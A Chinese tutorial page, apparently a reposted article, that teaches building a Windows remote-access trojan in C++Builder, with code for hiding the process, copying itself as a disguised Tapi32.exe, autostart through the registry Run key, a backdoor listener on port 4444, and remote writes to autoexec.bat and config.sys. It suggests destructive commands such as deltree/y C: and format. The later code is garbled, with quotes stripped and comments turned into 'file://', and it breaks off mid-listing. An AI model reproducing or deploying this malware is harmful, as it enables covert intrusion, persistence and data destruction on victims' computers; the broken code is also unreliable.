如何编写木马:编写木马

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
  首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

  启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
  Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
  我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
  首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
 {
   typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
    //定义RegisterServiceProcess()函数的原型
    HINSTANCE hDLL;
   LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
   hDLL = LoadLibrary("KERNEL32");
   //加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
   lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
    //得到RegisterServiceProcess()函数的地址
    lpRegisterServiceProcess(GetCurrentProcessId(),1);
   //执行RegisterServiceProcess()函数,隐藏本进程
   FreeLibrary(hDLL);
   //卸载动态链接库
 }
}
  这样就终于可以隐身了,为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码
接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{ 
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE);
//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
 {
  //如果以下语句发生异常,跳至catch,以避免程序崩溃
  if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
    Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
    //查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
   //如果不是,就写入以上键值和内容
 }
catch(...)
 {
 //如果有错误,什么也不做
 }
}
  好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
  接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
  再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
 FILE *fp=NULL;
 char * content;
 int times_of_try;
 char TempFile[MAX_PATH];
 //定义了一堆待会儿要用到的变量
 sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
 //在%System%下建立一个文本文件Win369.bat,作为临时文件使用
 AnsiString temp=Socket->ReceiveText();
 //接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
 //如果接受到的字符串的前9个字符是“edit conf”
 {
   int number=temp.Length();
   //得到字符串的长度
   int file_name=atoi((temp.SubString(11,1)).c_str());
   //将第11个字符转换成integer型,存入file_name变量
   //为什么要取第11个字符,因为第10个字符是空格字符
   content=(temp.SubString(12,number-11)+'\n').c_str();
   //余下的字符串将被作为写入的内容写入目标文件
   FILE *fp=NULL;
   char filename[20];
   chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);
   chmod("c:\\config.sys",S_IREAD|S_IWRITE);
   //将两个目标文件的属性改为可读可写
   if(file_name==1)
    sprintf(filename,"%s","c:\\autoexec.bat");
    //如果第11个字符是1,就把Autoexec.bat格式化
   else if(file_name==2)
    sprintf(filename,"%s","c:\\config.sys");
    //如果第11个字符是1,就把Config.sys格式化
   times_of_try=0;
   //定义计数器
   while(fp==NULL)
    {
     //如果指针是空
    fp=fopen(filename,"a+");
    //如果文件不存在,创建之;如果存在,准备在其后添加
    //如果出错,文件指针为空,这样就会重复
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
    {
       //如果已经试了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就发回“Fail By Open File”的错误信息
       goto END;
       //跳至END处
    }
    }
   fwrite(content,sizeof(char),strlen(content),fp);
   //写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
   fclose(fp);
   //写完后关闭目标文件
   Socket->SendText("Sucess");
   //然后发回“Success”的成功信息
  }
}
  你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令.
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:
{
else if(temp.SubString(0,3)==dir)
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF=\n;
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name==)
{
file://如果目录名为空
Socket->SendText(Fail By Open DIRs Name);
file://返回“Fail By Open DIRs Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket->SendText(Fail by your DIRs name!);
file://返回“Fail By Your DIRs Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,w+);
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket->SendText(Fail By Open File);
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!=\\)
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+\\+ent->d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib & FA_RDONLY)
file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite( R,sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite( ,sizeof(char),3,fp);
file://失败则写入空格
if (attrib & FA_HIDDEN)
fwrite(H,sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite( ,sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_SYSTEM)
fwrite(S,sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite( ,sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_ARCH)
fwrite(A,sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite( ,sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_DIREC)
fwrite( <DIR> ,sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite( ,sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,r);
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了,仍未成功
Socket->SendText(Fail By Open File);
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text=;
char temp_content[300];
for(int i=0;i<300;i++) temp_content=\0;
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
for(int i=0;i<300;i++) temp_content=\0;
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
fclose(fp1);
file
Tags:  木马是如何编写的 怎么编写木马 如何编写木马

延伸阅读

最新评论

发表评论